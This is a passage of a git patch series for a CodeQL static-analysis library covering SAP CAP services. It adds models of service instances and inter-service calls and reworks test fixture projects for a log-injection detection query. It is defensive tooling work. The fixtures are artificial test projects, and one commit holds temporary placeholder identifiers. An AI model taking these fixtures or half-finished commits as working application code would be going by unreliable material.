+    this.getPropStringValue("kind") = ["odata", "odata-v4", "odata-v2", "rest", "sql", "sqlite"]
+  }
 
   /**
    * Holds if this is a declaration of a local service, which must provide an
@@ -45,8 +39,10 @@ class RequiredService extends JsonObject {
    */
   predicate isLocal() { exists(string path | path = this.getPropStringValue("impl")) }
 
+  File getImplementationFile() { "./" + result.getRelativePath() = this.getPropStringValue("impl") }
+
   /**
    * Holds if this is a declaration of a database service, which is considered remote.
    */
-  predicate isDatabase() { kind = ["sql", "sqlite"] }
+  predicate isDatabase() { this.getPropStringValue("kind") = ["sql", "sqlite"] }
 }
diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/DataFlow.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/DataFlow.qll
index ed68bcf2b..0592c66d6 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/DataFlow.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/DataFlow.qll
@@ -1,5 +1,5 @@
 /**
- * `DataFlow::Node`s common to all security queries.
+ * Security-related `DataFlow::Node`s or relations between two `DataFlow::Node`s.
  */
 
 import javascript
@@ -9,12 +9,82 @@ import advanced_security.javascript.frameworks.cap.CDS
  * Methods that parse source strings into a CQL expression.
  */
 class ParseSink extends DataFlow::Node {
-    ParseSink() {
-      this =
-        any(CdsFacade cds)
-            .getMember("parse")
-            .getMember(["expr", "ref", "xpr"])
-            .getACall()
-            .getAnArgument()
-    }
-  }
\ No newline at end of file
+  ParseSink() {
+    exists(CdsFacade cds |
+      this = cds.getMember("parse").getMember(["expr", "ref", "xpr"]).getACall().getAnArgument()
+    )
+  }
+}
+
+class SrvRun extends MethodCallNode {
+  SrvRun() {
+    exists(ServiceInstance srv |
+      srv = this.getReceiver() and
+      this.getMethodName() = "run"
+    )
+  }
+}
+
+class SrvEmit extends MethodCallNode {
+  SrvEmit() {
+    exists(ServiceInstance srv |
+      srv = this.getReceiver() and
+      this.getMethodName() = "emit"
+    )
+  }
+}
+
+class SrvSend extends MethodCallNode {
+  SrvSend() {
+    exists(ServiceInstance srv |
+      srv = this.getReceiver() and
+      this.getMethodName() = "send"
+    )
+  }
+}
+
+/**
+ * A communication happening between `cds.Service`s. This includes:
+ * 1. Ones based on REST-style API, based on `cds.Service.send`,
+ * 2. Ones based on query-style API, based on `cds.Services.run`, and
+ * 3. Ones based on emitting and subscribing to asynchronous event messages.
+ */
+abstract class InterServiceCommunication extends MethodCallNode {
+  /* TODO: Generalize UserApplicationService to include built-in services such as log and db */
+  /**
+   * The service that sends the request.
+   */
+  UserDefinedApplicationService sender;
+  /**
+   * The service that receives the request and handles it.
+   */
+  UserDefinedApplicationService recipient;
+  /**
+   * The handler registration that set ups the communication.
+   */
+  HandlerRegistration registration;
+}
+
+class RestStyleCommunication extends InterServiceCommunication {
+  override UserDefinedApplicationService sender;
+  override UserDefinedApplicationService recipient;
+  override HandlerRegistration registration;
+
+  RestStyleCommunication() {
+    registration = slfkjsd and
+    sender = registration.getReceiver().(ServiceInstance).getDefinition() and
+    recipient = sdlkfjdskf
+  }
+}
+
+class CrudStyleCommunication extends InterServiceCommunication {
+  override UserDefinedApplicationService sender;
+  override UserDefinedApplicationService recipient;
+  override HandlerRegistration registration;
+}
+
+class AsyncStyleCommunication extends InterServiceCommunication {
+  override UserDefinedApplicationService sender;
+  override UserDefinedApplicationService recipient;
+  override HandlerRegistration registration;
+}

From 3181a5dc7c2393cd69a901d2303ff4e65f92a022 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Fri, 23 Feb 2024 16:08:27 -0800
Subject: [PATCH 31/86] Add more classes and predicates

---
 .../javascript/frameworks/cap/CDS.qll         | 122 ++++++++++++++++--
 .../frameworks/cap/dataflow/DataFlow.qll      |  78 +++++------
 2 files changed, 148 insertions(+), 52 deletions(-)

diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
index 0e60e1448..f7621dbd8 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
@@ -1,7 +1,8 @@
 import javascript
 import DataFlow
-import advanced_security.javascript.frameworks.cap.CDL
 import advanced_security.javascript.frameworks.cap.PackageJson
+import advanced_security.javascript.frameworks.cap.CDL
+import advanced_security.javascript.frameworks.cap.CQL
 
 /**
  * ```js
@@ -17,8 +18,8 @@ class CdsFacade extends API::Node {
 /**
  * A call to `serve` on a CDS facade.
  */
-class CdsServeCall extends MethodCallNode {
-  CdsServeCall() { exists(CdsFacade cds | this = cds.getMember("serve").getACall()) }
+class CdsServeCall extends API::Node {
+  CdsServeCall() { exists(CdsFacade cds | this = cds.getMember("serve")) }
 }
 
 /**
@@ -26,6 +27,8 @@ class CdsServeCall extends MethodCallNode {
  */
 abstract class ServiceInstance extends DataFlow::Node {
   abstract UserDefinedApplicationService getDefinition();
+
+  abstract MethodCallNode getASrvMethodCall();
 }
 
 /**
@@ -43,6 +46,10 @@ class ServiceInstanceFromCdsServe extends ServiceInstance {
   override UserDefinedApplicationService getDefinition() {
     none() // TODO: how should we deal with serve("all")?
   }
+
+  override MethodCallNode getASrvMethodCall() {
+    none() // TODO
+  }
 }
 
 /**
@@ -54,13 +61,22 @@ class ServiceInstanceFromCdsServe extends ServiceInstance {
  * const Service1 = cds.connect.to("service-2");
  * ```
  */
-class ServiceInstanceFromCdsConnectTo extends MethodCallNode, ServiceInstance {
+class ServiceInstanceFromCdsConnectTo extends ServiceInstance {
   string serviceName;
 
   ServiceInstanceFromCdsConnectTo() {
     exists(CdsFacade cds |
       this = cds.getMember("connect").getMember("to").getACall() and
-      serviceName = this.getArgument(0).getALocalSource().asExpr().(StringLiteral).getValue()
+      serviceName =
+        this.(MethodCallNode).getArgument(0).getALocalSource().asExpr().(StringLiteral).getValue()
+    )
+    or
+    exists(AwaitExpr await, CdsFacade cds, MethodCallNode awaitOperand |
+      this = await.flow() and
+      await.getOperand().flow() = awaitOperand and
+      awaitOperand = cds.getMember("connect").getMember("to").getACall() and
+      serviceName =
+        awaitOperand.getArgument(0).getALocalSource().asExpr().(StringLiteral).getValue()
     )
   }
 
@@ -71,6 +87,18 @@ class ServiceInstanceFromCdsConnectTo extends MethodCallNode, ServiceInstance {
       result.hasLocationInfo(abspath, _, _, _, _)
     )
   }
+
+  string getServiceName() { result = serviceName }
+
+  /**
+   * Gets a method call on this service instance.
+   */
+  override MethodCallNode getASrvMethodCall() {
+    exists(VarDef definition |
+      definition.getSource().flow() = this and
+      definition.getAVariable().getAnAccess() = result.getReceiver().asExpr()
+    )
+  }
 }
 
 /**
@@ -86,6 +114,16 @@ class ServiceInstanceFromConstructor extends ServiceInstance {
   ServiceInstanceFromConstructor() { this = any(CdsApplicationService cds).getAnInstantiation() }
 
   override UserDefinedApplicationService getDefinition() { none() }
+
+  /**
+   * Gets a method call on this service instance.
+   */
+  override MethodCallNode getASrvMethodCall() {
+    exists(VarDef definition |
+      definition.getSource().flow() = this and
+      definition.getAVariable().getAnAccess() = result.getReceiver().asExpr()
+    )
+  }
 }
 
 /**
@@ -97,8 +135,13 @@ class ServiceInstanceFromThisNode extends ServiceInstance {
   }
 
   override UserDefinedApplicationService getDefinition() {
-    result.getInitFunction().asExpr() = this.asExpr().getEnclosingFunction()
+    result.getInitFunction().asExpr() = this.asExpr().getEnclosingFunction+()
   }
+
+  /**
+   * Gets a method call on this service instance.
+   */
+  override MethodCallNode getASrvMethodCall() { result.getReceiver() = this }
 }
 
 /**
@@ -115,7 +158,7 @@ class ServiceInstanceFromServeWithParameter extends ParameterNode, ServiceInstan
   ServiceInstanceFromServeWithParameter() {
     exists(MethodCallNode withCall, CdsServeCall cdsServe |
       withCall.getMethodName() = "with" and
-      withCall.getReceiver() = cdsServe and
+      withCall.getReceiver() = cdsServe.getACall() and
       this = withCall.getArgument(0).(FunctionNode).getParameter(0)
     )
   }
@@ -123,6 +166,10 @@ class ServiceInstanceFromServeWithParameter extends ParameterNode, ServiceInstan
   override UserDefinedApplicationService getDefinition() {
     none() // TODO
   }
+
+  override MethodCallNode getASrvMethodCall() {
+    none() // TODO
+  }
 }
 
 /**
@@ -133,7 +180,11 @@ class ServiceInstanceFromServeWithParameter extends ParameterNode, ServiceInstan
 class HandlerRegistration extends MethodCallNode {
   HandlerRegistration() {
     exists(ServiceInstance srv |
-      (srv.(SourceNode).flowsTo(this.getReceiver()) or srv = this.getReceiver()) and
+      (
+        srv.(SourceNode).flowsTo(this.getReceiver())
+        or
+        srv = this.getReceiver()
+      ) and
       (
         this.getMethodName() = "before" or
         this.getMethodName() = "on" or
@@ -161,6 +212,11 @@ class HandlerRegistration extends MethodCallNode {
    * Get the name of the entity that the handler is registered for, if any.
    */
   string getEntityName() { result = this.getArgument(1).asExpr().(StringLiteral).getValue() }
+
+  /**
+   * Gets the handler that is being registrated to an event by this registering function call.
+   */
+  Handler getHandler() { result = this.getAnArgument() }
 }
 
 /**
@@ -282,8 +338,58 @@ class UserDefinedApplicationService extends TUserDefinedApplicationService {
     this.asClassDefinition().hasLocationInfo(filepath, startline, startcolumn, endline, endcolumn) or
     this.asImplMethodCall().hasLocationInfo(filepath, startline, startcolumn, endline, endcolumn)
   }
+
+  /**
+   * Gets the name of this service as declared in the ` package.json`.
+   */
+  string getManifestName() {
+    exists(RequiredService serviceManifest |
+      this.hasLocationInfo(serviceManifest.getImplementationFile().getAbsolutePath(), _, _, _, _) and
+      result = serviceManifest.getName()
+    )
+  }
 }
 
 private class CdsApplicationService extends API::Node {
   CdsApplicationService() { exists(CdsFacade c | this = c.getMember("ApplicationService")) }
 }
+
+abstract class InterServiceCommunicationMethodCall extends MethodCallNode { }
+
+class SrvRun extends InterServiceCommunicationMethodCall {
+  SrvRun() {
+    exists(ServiceInstance srv |
+      srv = this.getReceiver() and
+      this.getMethodName() = "run"
+    )
+  }
+
+  CqlClause getCql() {
+    result.asMethodCall() = this.getArgument(0).asExpr() or
+    result.asDotExpr() = this.getArgument(0).asExpr()
+  }
+}
+
+class SrvEmit extends InterServiceCommunicationMethodCall {
+  ServiceInstance emittingService;
+
+  SrvEmit() {
+    emittingService = this.getReceiver() and
+    this.getMethodName() = "emit"
+  }
+
+  ServiceInstance getEmitter() { result = emittingService }
+
+  string getEmittedEvent() {
+    result = this.getArgument(0).getALocalSource().asExpr().(StringLiteral).getValue()
+  }
+}
+
+class SrvSend extends InterServiceCommunicationMethodCall {
+  SrvSend() {
+    exists(ServiceInstance srv |
+      srv = this.getReceiver() and
+      this.getMethodName() = "send"
+    )
+  }
+}
diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/DataFlow.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/DataFlow.qll
index 0592c66d6..bc13e4c35 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/DataFlow.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/DataFlow.qll
@@ -16,33 +16,6 @@ class ParseSink extends DataFlow::Node {
   }
 }
 
-class SrvRun extends MethodCallNode {
-  SrvRun() {
-    exists(ServiceInstance srv |
-      srv = this.getReceiver() and
-      this.getMethodName() = "run"
-    )
-  }
-}
-
-class SrvEmit extends MethodCallNode {
-  SrvEmit() {
-    exists(ServiceInstance srv |
-      srv = this.getReceiver() and
-      this.getMethodName() = "emit"
-    )
-  }
-}
-
-class SrvSend extends MethodCallNode {
-  SrvSend() {
-    exists(ServiceInstance srv |
-      srv = this.getReceiver() and
-      this.getMethodName() = "send"
-    )
-  }
-}
-
 /**
  * A communication happening between `cds.Service`s. This includes:
  * 1. Ones based on REST-style API, based on `cds.Service.send`,
@@ -50,6 +23,8 @@ class SrvSend extends MethodCallNode {
  * 3. Ones based on emitting and subscribing to asynchronous event messages.
  */
 abstract class InterServiceCommunication extends MethodCallNode {
+  InterServiceCommunication() { this.getReceiver() instanceof ServiceInstance }
+
   /* TODO: Generalize UserApplicationService to include built-in services such as log and db */
   /**
    * The service that sends the request.
@@ -59,32 +34,47 @@ abstract class InterServiceCommunication extends MethodCallNode {
    * The service that receives the request and handles it.
    */
   UserDefinedApplicationService recipient;
-  /**
-   * The handler registration that set ups the communication.
-   */
-  HandlerRegistration registration;
 }
 
 class RestStyleCommunication extends InterServiceCommunication {
-  override UserDefinedApplicationService sender;
-  override UserDefinedApplicationService recipient;
-  override HandlerRegistration registration;
-
   RestStyleCommunication() {
-    registration = slfkjsd and
-    sender = registration.getReceiver().(ServiceInstance).getDefinition() and
-    recipient = sdlkfjdskf
+    exists(HandlerRegistration registration, SrvSend srvSend |
+      sender = registration.getReceiver().(ServiceInstance).getDefinition() and
+      recipient = srvSend.getReceiver().(ServiceInstance).getDefinition()
+    )
   }
 }
 
 class CrudStyleCommunication extends InterServiceCommunication {
-  override UserDefinedApplicationService sender;
-  override UserDefinedApplicationService recipient;
-  override HandlerRegistration registration;
+  CrudStyleCommunication() {
+    exists(HandlerRegistration registration, SrvRun srvRun |
+      sender = registration.getReceiver().(ServiceInstance).getDefinition() and
+      recipient = srvRun.getReceiver().(ServiceInstance).getDefinition()
+    )
+  }
 }
 
 class AsyncStyleCommunication extends InterServiceCommunication {
-  override UserDefinedApplicationService sender;
-  override UserDefinedApplicationService recipient;
-  override HandlerRegistration registration;
+  AsyncStyleCommunication() {
+    exists(
+      HandlerRegistration emittingRegistration, HandlerRegistration orchestratingRegistration,
+      SrvEmit srvEmit, InterServiceCommunicationMethodCall methodCallOnReceiver
+    |
+      emittingRegistration != orchestratingRegistration and
+      /* The service that emits the event and the service that registers the handler are the same; it's the sender. */
+      this = orchestratingRegistration and
+      sender = emittingRegistration.getReceiver().(ServiceInstance).getDefinition() and
+      /* 1. match by their event name. */
+      srvEmit.getEmittedEvent() = orchestratingRegistration.getAnEventName() and
+      /* 2. match by their service name in cds.connect().to(). */
+      srvEmit.getEmitter().getDefinition().getManifestName() =
+        orchestratingRegistration
+            .getReceiver()
+            .getALocalSource()
+            .(ServiceInstanceFromCdsConnectTo)
+            .getServiceName() and
+      recipient = methodCallOnReceiver.getReceiver().(ServiceInstance).getDefinition() and
+      methodCallOnReceiver.getEnclosingFunction() = orchestratingRegistration.getHandler().asExpr()
+    )
+  }
 }

From 34be53082580d78844612c881a2dbd8237379eb9 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Fri, 23 Feb 2024 16:08:40 -0800
Subject: [PATCH 32/86] Debug `log-injection-with-partial-protocol-none`

---
 .../package.json                                       | 10 ++++++++++
 .../log-injection-with-partial-protocol-none/server.js |  3 ++-
 2 files changed, 12 insertions(+), 1 deletion(-)

diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/package.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/package.json
index feaa60a89..ed3999ed7 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/package.json
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/package.json
@@ -8,5 +8,15 @@
   "scripts": {
     "start": "cds-serve",
     "watch": "cds watch"
+  },
+  "cds": {
+    "requires": {
+      "service-1": {
+        "impl": "./srv/service1.js"
+      },
+      "service-2": {
+        "impl": "./srv/service2.js"
+      }
+    }
   }
 }
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/server.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/server.js
index 2f0beac60..e5bd708f0 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/server.js
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-partial-protocol-none/server.js
@@ -1,5 +1,6 @@
 const cds = require('@sap/cds');
-const Service1 = await cds.connect.to("Service1");
+const Service1 = await cds.connect.to("service-1");
+const Service2 = await cds.connect.to("service-2");
 
 cds.once('bootstrap', (app) => {
     app.serve("/log-injection").from("@advanced-security/log-injection");

From 78b29a29c9136071a7b4636d57f6746db7c2d055 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Fri, 23 Feb 2024 21:47:03 -0800
Subject: [PATCH 33/86] Add `AsyncStyleCommunication` in `DataFlow.qll`

---
 .../javascript/frameworks/cap/CDS.qll         | 73 ++++++++++---------
 .../frameworks/cap/dataflow/DataFlow.qll      | 11 +--
 2 files changed, 45 insertions(+), 39 deletions(-)

diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
index f7621dbd8..f4958a6df 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
@@ -23,7 +23,30 @@ class CdsServeCall extends API::Node {
 }
 
 /**
- * A dataflow node that represents a service.
+ * A `cds.connect.to(serveName)` call to connect to a local or remote service.
+ */
+class CdsConnectToCall extends API::Node {
+  CdsConnectToCall() { exists(CdsFacade cds | this = cds.getMember("connect").getMember("to")) }
+
+  /**
+   * Gets a variable definition using either `cds.connect.to(...)` or awaiting that at its RHS.
+   */
+  VarDef getVarDefUsingCdsConnect() {
+    result.getSource() = this.getACall().asExpr()
+    or
+    result.getSource().(AwaitExpr).getOperand() = this.getACall().asExpr()
+  }
+
+  /**
+   * Gets the service name that this call connects to.
+   */
+  string getServiceName() {
+    result = this.getACall().getArgument(0).getALocalSource().asExpr().(StringLiteral).getValue()
+  }
+}
+
+/**
+ * A dataflow node that represents a service. Note that its definition is a `UserDefinedApplicationService`, not a `ServiceInstance`.
  */
 abstract class ServiceInstance extends DataFlow::Node {
   abstract UserDefinedApplicationService getDefinition();
@@ -52,6 +75,7 @@ class ServiceInstanceFromCdsServe extends ServiceInstance {
   }
 }
 
+/* TODO: change `ServiceInstanceFromCdsConnectTo` to an VarAccess to the VarDef whose getSource() is CdsConnectToCall or an AwaitExpr wrapping it */
 /**
  * A service instance obtained by the service's name, via connecting
  * to a service already being served and awaiting its promise. e.g.
@@ -64,19 +88,11 @@ class ServiceInstanceFromCdsServe extends ServiceInstance {
 class ServiceInstanceFromCdsConnectTo extends ServiceInstance {
   string serviceName;
 
+  /* TODO: change this to an VarAccess to the VarDef whose getSource() is CdsConnectToCall or an AwaitExpr wrapping it */
   ServiceInstanceFromCdsConnectTo() {
-    exists(CdsFacade cds |
-      this = cds.getMember("connect").getMember("to").getACall() and
-      serviceName =
-        this.(MethodCallNode).getArgument(0).getALocalSource().asExpr().(StringLiteral).getValue()
-    )
-    or
-    exists(AwaitExpr await, CdsFacade cds, MethodCallNode awaitOperand |
-      this = await.flow() and
-      await.getOperand().flow() = awaitOperand and
-      awaitOperand = cds.getMember("connect").getMember("to").getACall() and
-      serviceName =
-        awaitOperand.getArgument(0).getALocalSource().asExpr().(StringLiteral).getValue()
+    exists(CdsConnectToCall cdsConnectTo |
+      this = cdsConnectTo.getVarDefUsingCdsConnect().getAVariable().getAnAccess().flow() and
+      serviceName = cdsConnectTo.getServiceName()
     )
   }
 
@@ -93,12 +109,7 @@ class ServiceInstanceFromCdsConnectTo extends ServiceInstance {
   /**
    * Gets a method call on this service instance.
    */
-  override MethodCallNode getASrvMethodCall() {
-    exists(VarDef definition |
-      definition.getSource().flow() = this and
-      definition.getAVariable().getAnAccess() = result.getReceiver().asExpr()
-    )
-  }
+  override MethodCallNode getASrvMethodCall() { result.getReceiver() = this }
 }
 
 /**
@@ -354,15 +365,14 @@ private class CdsApplicationService extends API::Node {
   CdsApplicationService() { exists(CdsFacade c | this = c.getMember("ApplicationService")) }
 }
 
-abstract class InterServiceCommunicationMethodCall extends MethodCallNode { }
+abstract class InterServiceCommunicationMethodCall extends MethodCallNode {
+  InterServiceCommunicationMethodCall() {
+    exists(ServiceInstance srv | this = srv.getASrvMethodCall())
+  }
+}
 
 class SrvRun extends InterServiceCommunicationMethodCall {
-  SrvRun() {
-    exists(ServiceInstance srv |
-      srv = this.getReceiver() and
-      this.getMethodName() = "run"
-    )
-  }
+  SrvRun() { this.getMethodName() = "run" }
 
   CqlClause getCql() {
     result.asMethodCall() = this.getArgument(0).asExpr() or
@@ -374,8 +384,8 @@ class SrvEmit extends InterServiceCommunicationMethodCall {
   ServiceInstance emittingService;
 
   SrvEmit() {
-    emittingService = this.getReceiver() and
-    this.getMethodName() = "emit"
+    this.getMethodName() = "emit" and
+    emittingService = this.getReceiver()
   }
 
   ServiceInstance getEmitter() { result = emittingService }
@@ -386,10 +396,5 @@ class SrvEmit extends InterServiceCommunicationMethodCall {
 }
 
 class SrvSend extends InterServiceCommunicationMethodCall {
-  SrvSend() {
-    exists(ServiceInstance srv |
-      srv = this.getReceiver() and
-      this.getMethodName() = "send"
-    )
-  }
+  SrvSend() { this.getMethodName() = "send" }
 }
diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/DataFlow.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/DataFlow.qll
index bc13e4c35..6494630db 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/DataFlow.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/dataflow/DataFlow.qll
@@ -34,6 +34,10 @@ abstract class InterServiceCommunication extends MethodCallNode {
    * The service that receives the request and handles it.
    */
   UserDefinedApplicationService recipient;
+
+  UserDefinedApplicationService getSender() { result = sender }
+
+  UserDefinedApplicationService getReceipient() { result = recipient }
 }
 
 class RestStyleCommunication extends InterServiceCommunication {
@@ -64,15 +68,12 @@ class AsyncStyleCommunication extends InterServiceCommunication {
       /* The service that emits the event and the service that registers the handler are the same; it's the sender. */
       this = orchestratingRegistration and
       sender = emittingRegistration.getReceiver().(ServiceInstance).getDefinition() and
+      srvEmit.asExpr().getEnclosingFunction+() = sender.getInitFunction().asExpr() and
       /* 1. match by their event name. */
       srvEmit.getEmittedEvent() = orchestratingRegistration.getAnEventName() and
       /* 2. match by their service name in cds.connect().to(). */
       srvEmit.getEmitter().getDefinition().getManifestName() =
-        orchestratingRegistration
-            .getReceiver()
-            .getALocalSource()
-            .(ServiceInstanceFromCdsConnectTo)
-            .getServiceName() and
+        orchestratingRegistration.getReceiver().(ServiceInstanceFromCdsConnectTo).getServiceName() and
       recipient = methodCallOnReceiver.getReceiver().(ServiceInstance).getDefinition() and
       methodCallOnReceiver.getEnclosingFunction() = orchestratingRegistration.getHandler().asExpr()
     )

From c01f19eacdbfa342d5443a45efb29c54f04fa6be Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Wed, 28 Feb 2024 14:08:03 -0800
Subject: [PATCH 34/86] Update all log injection test cases

---
 .../package.json                              | 12 +++++-
 .../server.js                                 | 11 +-----
 .../srv/service1.cds                          | 12 +++---
 .../srv/service1.js                           |  4 +-
 .../srv/service2.cds                          | 16 +++++---
 .../package.json                              | 31 ++++++++++-----
 .../server.js                                 | 11 +-----
 .../srv/service1.cds                          | 12 +++---
 .../srv/service1.js                           |  7 ++--
 .../srv/service2.cds                          | 15 ++++---
 .../srv/service2.js                           |  6 +--
 .../package.json                              | 39 ++++++++++---------
 .../server.js                                 | 12 +-----
 .../srv/service1.cds                          | 12 +++---
 .../srv/service1.js                           |  7 ++--
 .../srv/service2.cds                          | 15 ++++---
 .../srv/service2.js                           |  6 +--
 .../package.json                              | 31 ++++++++++-----
 .../server.js                                 | 11 +-----
 .../srv/service1.cds                          | 12 +++---
 .../srv/service1.js                           |  7 ++--
 .../srv/service2.cds                          | 15 ++++---
 .../srv/service2.js                           |  6 +--
 23 files changed, 168 insertions(+), 142 deletions(-)

diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/package.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/package.json
index feaa60a89..fba5217ac 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/package.json
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/package.json
@@ -8,5 +8,15 @@
   "scripts": {
     "start": "cds-serve",
     "watch": "cds watch"
-  }
+  },
+    "cds": {
+        "requires": {
+            "service-1": {
+                "impl": "srv/service1.js"
+            },
+            "service-2": {
+                "impl": "srv/service2.js"
+            }
+        }
+    }
 }
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/server.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/server.js
index 2f0beac60..dc2ac97ee 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/server.js
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/server.js
@@ -1,11 +1,4 @@
 const cds = require('@sap/cds');
-const Service1 = await cds.connect.to("Service1");
+const app = require('express')();
 
-cds.once('bootstrap', (app) => {
-    app.serve("/log-injection").from("@advanced-security/log-injection");
-});
-
-Service1.on("Received1", async (msg) => {
-    const { messageToPass } = msg.data;
-    await Service2.send("Received2", { messageToPass });
-});
+cds.serve('all').in(app);
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.cds b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.cds
index d8477454b..34b2e7776 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.cds
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.cds
@@ -1,11 +1,11 @@
 using { advanced_security.log_injection.sample_entities as db_schema } from '../db/schema';
 
-service Service1 {
-  /* Entity to send READ about. */
+service Service1 @(path: '/service-1') {
+  /* Entity to send READ/GET about. */
   entity Service1Entity as projection on db_schema.Entity1 excluding { Attribute2 }
 
-  /* Async API for Service1 to speak through. */
-  event Received1: {
-    messageToPass : String;
-  }
+  /* API to talk to Service1. */
+  action send1 (
+    messageToPass : String
+  ) returns String;
 }
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.js
index 2fe02c9e3..681b024b9 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.js
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.js
@@ -3,9 +3,9 @@ const cds = require("@sap/cds");
 /* Emit a "Received1" event upon receiving a READ request on its entity. */
 module.exports = class Service1 extends cds.ApplicationService {
     init() {
-        this.on("READ", "Entity1/Attribute1", (req) => {
+        this.on("send1", async (req) => { // req is not used at all
             let datetime = new Date();
-            this.emit("Received1", { datetime.toString() });
+            Service2.send("send2", { messageToPass: datetime.toString() });
         });
     }
 }
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.cds b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.cds
index b2821b0d0..a5963d2ef 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.cds
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.cds
@@ -1,7 +1,11 @@
-@protocol: 'None'
-service Service2 {
-  /* Async API to talk to Service2. */
-  event Received2: {
-    messageToPass: String;
-  }
+using { advanced_security.log_injection.sample_entities as db_schema } from '../db/schema';
+
+service Service2 @(path: '/service-2') {
+  /* Entity to send READ/GET about. */
+  entity Service2Entity as projection on db_schema.Entity2 excluding { Attribute4 }
+
+  /* API to talk to Service2. */
+  action send2 (
+    messageToPass: String
+  ) returns String;
 }
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/package.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/package.json
index feaa60a89..6e66d859d 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/package.json
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/package.json
@@ -1,12 +1,23 @@
 {
-  "name": "@advanced-security/log-injection",
-  "version": "1.0.0",
-  "dependencies": {
-    "@sap/cds": "^7",
-    "express": "^4.17.1"
-  },
-  "scripts": {
-    "start": "cds-serve",
-    "watch": "cds watch"
-  }
+    "name": "@advanced-security/log-injection",
+    "version": "1.0.0",
+    "dependencies": {
+        "@sap/cds": "^7",
+        "express": "^4.17.1",
+        "@cap-js/sqlite": "*"
+    },
+    "scripts": {
+        "start": "cds-serve",
+        "watch": "cds watch"
+    },
+    "cds": {
+        "requires": {
+            "service-1": {
+                "impl": "srv/service1.js"
+            },
+            "service-2": {
+                "impl": "srv/service2.js"
+            }
+        }
+    }
 }
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/server.js b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/server.js
index 2f0beac60..dc2ac97ee 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/server.js
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/server.js
@@ -1,11 +1,4 @@
 const cds = require('@sap/cds');
